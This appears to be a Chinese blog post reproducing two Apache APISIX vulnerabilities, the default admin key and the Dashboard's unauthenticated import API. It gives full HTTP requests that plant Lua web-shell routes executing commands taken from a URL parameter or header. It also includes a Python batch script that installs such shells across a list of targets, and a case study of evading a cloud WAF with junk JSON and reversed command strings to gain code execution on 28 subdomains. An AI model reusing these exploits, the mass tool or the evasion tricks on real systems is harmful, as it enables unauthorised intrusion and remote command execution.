本文没什么技术含量,Nday会打就行,于是直接照抄vulhub了

简介

APIsix 是一个高性能、开源的云原生 API 网关,广泛应用于微服务架构中,它能够处理 API 请求并提供各种 API 管理功能,如负载均衡、API 认证、路由、限流、监控、日志记录等。APIsix 设计上考虑了云原生环境,支持高度的可扩展性、可配置性和插件化,能够无缝集成到容器化和 Kubernetes 环境中。

典型应用场景

  • 微服务架构:在微服务环境中,APIsix 可作为前端 API 网关,负责流量控制、负载均衡、认证授权等功能。
  • 多协议支持:适用于需要支持多种协议(如 HTTP、WebSocket、gRPC)的应用场景。
  • 高可用架构:通过支持高并发和高性能,APIsix 可以在高可用的架构中,提供流量分发和服务治理的功能。

核心组件

  1. APIsix Gateway:处理实际的请求流,执行路由、负载均衡、插件逻辑等。
  2. Admin API:提供用于管理和配置网关的接口,通常用于动态更新路由规则、插件配置等。
  3. ETCD:APIsix 使用 Etcd 作为其配置存储系统,用于存储路由规则、插件配置等动态信息。

总结

APIsix 是一个现代化的云原生 API 网关,能够在大规模分布式系统中提供高性能的流量管理和安全控制。它适用于各种需要处理大量 API 请求、需要高可用和高可扩展性的场景,是微服务架构中不可或缺的一部分。

漏洞复现

CVE-2020-13945默认密钥

影响版本: Apisix 2.11.0

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

docker拉起一下vulhub里的漏洞环境

image-20250118175425239

访问9080端口,能看到APISIX的特征

image-20250118175808730

1
2
3
{
"error_msg": "404 Route Not Found"
}

利用默认Token增加一个恶意的router,其中包含恶意LUA脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}

image-20250118180402376

1
2
3
4
5
6
7
8
local _M = {}:定义一个空的表 _M,用于存储模块的逻辑。
function _M.access(conf, ctx):定义了一个 access 函数,接受配置 (conf) 和上下文 (ctx) 两个参数。这个函数在请求处理时会被调用。
local os = require('os'):加载 os 模块(但是在这个脚本中没有实际使用)。
local args = assert(ngx.req.get_uri_args()):获取请求的 URI 参数,并确保它们有效。返回的 args 是一个表,包含了请求的查询字符串中的所有参数。
local f = assert(io.popen(args.cmd, 'r')):从请求参数中获取 cmd 参数,并通过 io.popen 打开一个子进程来执行这个命令。这个命令将在服务器的操作系统上执行。
local s = assert(f:read('*a')):读取子进程的输出。
ngx.say(s):将子进程的输出返回给客户端。这意味着服务器会将执行命令后的输出作为 HTTP 响应返回。
f:close():关闭文件句柄,即关闭子进程。

然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

1
http://your-ip:9080/attack?cmd=ls

image-20250118180759949

CVE-2021-45232未授权RCE

影响版本: Apisix 2.10.1

Apache APISIX Dashboard 2.10.1版本前存在两个API/apisix/admin/migrate/export/apisix/admin/migrate/import,他们没有经过droplet框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让Apache APISIX访问任意网站,甚至执行LUA脚本。

image-20250118182035796

利用/apisix/admin/migrate/export/apisix/admin/migrate/import两个Apache APISIX Dashboard提供的未授权API,我们可以简单地导入一个恶意配置文件,其中包含我们构造的LUA脚本:

EXP:https://github.com/wuppp/cve-2021-45232-exp

EXP直接梭哈

image-20250118182306612

添加完恶意路由后,你需要访问Apache APISIX中对应的路径来触发前面添加的脚本。值得注意的是,Apache APISIX和Apache APISIX Dashboard是两个不同的服务,Apache APISIX Dashboard只是一个管理页面,而添加的路由是位于Apache APISIX中,所以需要找到Apache APISIX监听的端口或域名。

在当前环境下,Apache APISIX监听在9080端口下。我们发送数据包:

1
2
3
4
5
6
7
8
9
GET /tpm21s HTTP/1.1
Host: 192.168.116:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: ls
Cache-Control: max-age=0

image-20250118182534675

可见,我们在Header中添加的CMD头中的命令已被执行。

这个漏洞是Apache APISIX Dashboard的漏洞,而Apache APISIX无需配置IP白名单或管理API,只要二者连通同一个etcd即可。

这里要注意,apisix有一个hosts配置项,可以决定你的路由配置到哪个子域:

image-20250118182827195

在添加恶意路由的时候请注意这一点,不然很可能会出现路由明明添加成功,但是却无法利用的情况。最好是先找到目标其它的用了apisix的子域,然后启用这个hosts配置项,把恶意路由配置到对应的子域然后去利用

工具

写了个脚本,批量检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import requests
import json
import zlib
import random
import string
import sys
import time
import concurrent.futures
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# CVE-2020-13945 POC
def check_cve_2020_13945(url):
headers = {
"Host": url.split("://")[1], # Extract domain from URL
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
"Content-Type": "application/json",
}
payload = {
"uri": "/attack",
"script": """local _M = {}
function _M.access(conf, ctx)
local os = require('os')
local args = assert(ngx.req.get_uri_args())
local f = assert(io.popen(args.cmd, 'r'))
local s = assert(f:read('*a'))
ngx.say(s)
f:close()
end
return _M""",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
try:
response = requests.post(url + "/apisix/admin/routes", json=payload, headers=headers, verify=False, timeout=5)
if "/attack" in response.text:
return True
except requests.RequestException:
pass
return False

# CVE-2021-45232 POC
eval_config = {
"Counsumers": [],
"Routes": [{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": ["/rce"],
"name": "rce",
"methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
"script": """local file = io.popen(ngx.req.get_headers()['cmd'],'r')
local output = file:read('*all')
file:close()
ngx.say(output)""",
"status": 1
}],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
}

def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6))

def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big")

def import_data(url, data):
data = json.dumps(data).encode()
crc32 = calc_crc(data)
files = {"file": ("data", data + crc32, "text/data")}
try:
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False, timeout=5)
if resp.json().get("code", -1) == 0:
return True
except requests.RequestException:
pass
return False

def check_cve_2021_45232(url):
uri = random_str()
eval_config["Routes"][0]["uris"] = ["/" + uri]
eval_config["Routes"][0]["name"] = uri
if import_data(url, eval_config):
return True
return False

# Main function to process the URLs from url.txt
def check_vulnerabilities(url):
print(f"Checking URL: {url}")
# Check CVE-2020-13945
if check_cve_2020_13945(url):
print(f"[CVE-2020-13945] Vulnerability exists on: {url}")
else:
print(f"[CVE-2020-13945] No vulnerability on: {url}")

# Check CVE-2021-45232
if check_cve_2021_45232(url):
print(f"[CVE-2021-45232] Vulnerability exists on: {url}")
else:
print(f"[CVE-2021-45232] No vulnerability on: {url}")

# 批量检测
def main():
if len(sys.argv) != 2:
print("Usage: python script.py <url_file>")
sys.exit(1)

url_file = sys.argv[1]

try:
with open(url_file, "r") as file:
urls = [line.strip() for line in file.readlines()]
except FileNotFoundError:
print(f"File {url_file} not found!")
sys.exit(1)

# 使用 ThreadPoolExecutor 批量并发处理 URL
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
executor.map(check_vulnerabilities, urls)

if __name__ == "__main__":
start_time = time.time()
main()
print(f"批量检测完成,用时: {time.time() - start_time}秒")

image-20250118192604175

案例-某互联网厂商 Apisix绕阿里WAF拿下28个Rce

来源:https://forum.butian.net/share/2596

如图使用了apisix网关的WebServer在用户访问不存在的路由时,会抛出如下错误,这可以作为我们指纹识别的特征所在

1
2
3
{
"error_msg": "404 Route Not Found"
}

image-20231120160253525

针对Apisix节点的攻击方法,想要RCE的话,历史上主要有“默认X-API-Key”和“Dashboard未授权访问”两个洞可以用

过往挖某SRC的时候,就遇到过默认X-API-Key导致可直接创建执行lua代码的恶意路由的问题

img

img

恰巧这次攻防演练中,某目标子域的Apisix,正好就存在Dashboard的未授权访问
img

直接去Github扒了一个脚本,发现能检测出漏洞,但是RCE利用不成功,把reponse打印出来后,果然…被阿里云的WAF给拦了

image.png

随后把创建恶意路由的请求包中,添加一个带有大量脏数据的Json键,发现阿里云不拦了

image-20231122111118350

用之前的Dashboard未授权访问漏洞查看路由,显示恶意路由确实是被写入了…但是直接访问恶意路由却依然提示404

image-20231122111118350

img

通过未授权访问漏洞,获取全量路由配置后,发现目标apisix应该是集群部署的…

1
/apisix/admin/migrate/export

每个路由需要有一个host键来确定该路由被添加到哪个子域

image.png

随后再次构造写入恶意路由的数据,把host键加上,发现可以成功写入了

image-20231120155009326

利用未授权接口读出全量路由config,并提取出host键,确定可写入恶意路由的子域范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import json

def read_config():
with open("data.json", 'r') as json_file:
config = json.load(json_file)
return config

data = read_config()

if "Routes" in data:
for route in data["Routes"]:
if "host" in route:
host_value = route["host"]
with open("data.txt", "a") as file:
file.write(host_value + "\n")
print(host_value)

img

但是后面执行命令,有的时候会被阿里云给拦掉,于是构造lua脚本时把传参和命令输出做了倒转,防止被流量检测到

1
2
3
4
local file=io.popen(string.reverse(ngx.req.get_headers()['Authenication']),'r')
local output=file:read('*all')
file:close()
ngx.say(string.reverse(output))

由于该apisix集群部署管理了28个子域的服务,所以成功拿下28个子域Rce

img